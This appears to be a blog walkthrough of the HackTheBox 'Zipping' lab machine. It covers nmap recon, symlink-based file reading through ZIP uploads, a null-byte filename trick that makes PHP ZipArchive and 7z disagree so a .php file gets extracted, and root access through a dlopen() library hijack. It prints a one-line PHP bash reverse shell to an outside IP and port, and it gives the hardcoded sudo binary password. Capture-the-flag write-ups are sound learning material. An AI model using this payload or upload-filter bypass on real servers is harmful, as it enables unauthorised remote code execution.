Home Zipping - HackTheBox
Post
Cancel

Zipping - HackTheBox

Zipping is a nice medium linux box on HackTheBox. It starts with exploiting a descrepancy on how gz (CLI) and ZipArchive (PHP) works to fool the web app into extracting a ZIP file containing a PHP file thinking it’s a PDF. This approach turns out to be unintended, but I liked it more. Privesc to root is through dynamic import hijack with dlopen().


Info




Recon


NMAP


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# Nmap 7.80 scan initiated Sat Aug 26 20:00:45 2023 as: nmap -sC -sV -oN nmap.txt -v 10.129.116.48
Increasing send delay for 10.129.116.48 from 0 to 5 due to 22 out of 73 dropped probes since last increase.
Nmap scan report for 10.129.116.48
Host is up (0.61s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.0p1 Ubuntu 1ubuntu7.3 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.54 ((Ubuntu))
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.54 (Ubuntu)
|_http-title: Zipping | Watch store
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Aug 26 20:01:54 2023 -- 1 IP address (1 host up) scanned in 68.64 seconds


Web


Site presented itself as a watch store;

No vhost seems to be in play. The work with us page looks interesting;

Attempting to upload a .php file inside a ZIP failed;

Forging HTTP headers as well as uploading a zip file with a valid PDF file along with a PHP file also failed. At this point one of my teammates noticed that we could upload symolic links inside a zip file and achieve LFI that way as the extracted file will point to another file locally on the box;

It seems we have access as the above user rektsu as I was able to read the flag by linking to /home/rektsu/user.txt;



Foothold


With the LFI firmly established, I started going after application code and configs. Dumping ../../download.php, which is the file that process uploads, showed how the files are processed;

As you can see above, the web app uses ZiprArchive to run some checks on the binary prior to extraction. The open() command loads the archive, which will help detect invalid zip files. The script then calls getNameIndex(0) to obtain the embedded file name of the compressed file. If this ends with .pdf, the program proceeds to call 7z to extract the archive to the uploads/<file-hash>/ directory.

With the utilities involved now known, I started running some tests locally, hoping to find a discrepancy in how ZipArchive and 7z work. When you compress a file as zip, the contents of the file is embedded in the archive (usually after compression unless the file is very small). The name of the file is also stored in 2 places: before (local name) and after (central name) the embedded file data. Both 7z and ZipArchive seems to be only concerned with the central name;

The name highlighted red above is the central name. I started playing with this in a hex editor, and I realized that 7z and ZipArchive work very differently where null bytes are concerned: ZipArchive DOES NOT stop reading a central filename when it encounters a null byte in it, it simply replaces it with a whitespace. 7z on the other hand simply stops reading the filename when a null byte is encountered. This is interesting because ZipArchive is what the web app uses to validate the file extension of embedded files. So if we are to add a null byte to the central name just after .php extension but before .pdf, ZipArchive will read the complete filename and therefore see it as a .pdf file, while 7z will truncate it after the null byte, and see it as a .php file. Since 7z is what handles the actual file extraction, this will lead to a .php file being created on disk.

To test this, I created a simple PHP payload that invokes a BASH reverse shell, and saved it as payload.php0.pdf (0 here is just a placeholder for easy patching);

1
<?php system("/bin/bash -c 'bash -i >& /dev/tcp/10.10.16.26/4444 0>&1'"); ?>

I then zipped this file into payload.zip using;

1
$ zip payload.zip payload.php0.pdf

Then I opened it in a hex editor and replaced the 0 (0x30) with a null byte (0x00);

I then uploaded it to the box and got a link ending with payload.php .pdf. This won’t exist since this is just the file that ZipArchive thought will be created, but 7z truncated it to payload.php;

Changing it to /payload.php worked, and I got a shell on the box <3



PrivEsc


The user rektsu has sudo permissions on what looks like a custom binary;

The binary is asking for some password, which we do not have. So I downloaded it to my box and opened it in IDA for some analysis. The decompiled main function showed the program reading 30 bytes from standard input and passing it to checkAuth();

This is likely what’s doing the password check. Looking into it, we can see the correct password in plain text: St0ckM4nager;

Looking further into the code, there seems to be some runtime deobfuscation going on after successful authentication. The decoded data is passed to dlopen(), which is used to load shared object (.so) files on linux;

Since dlopen() expects a valid filename, we can be certain the deobfuscation was completed before this call. So a breakpoint here will be perfect. I tried to run the binary locally but was missing the required version of libc. However,dlopen() uses a system call, so we can easily pick it up with tools like strace, which luckily is installed on the box;

1
$ strace stock

Looks like the binary is loading a .so file in our own home directory, which promises easy privesc. I used msfvenom to generate a .so meterpreter payload;

I then setup a listener;

Then I downloaded the payload onto the box;

Calling the stock binary with sudo, I got a session as root;



Summary


  • NMAP found port 80 and 22
  • Web application provides file upload for .zip files
    • Leveraged symolic links to achieve LFI
    • Discovered a discrepancy in how ZipArchive and 7z works
    • Exploit to upload PHP files for RCE
  • Inside as rektsu;
    • Exploited a runtime library import to gain code execution as root
This post is licensed under CC BY 4.0 by the author.
Contents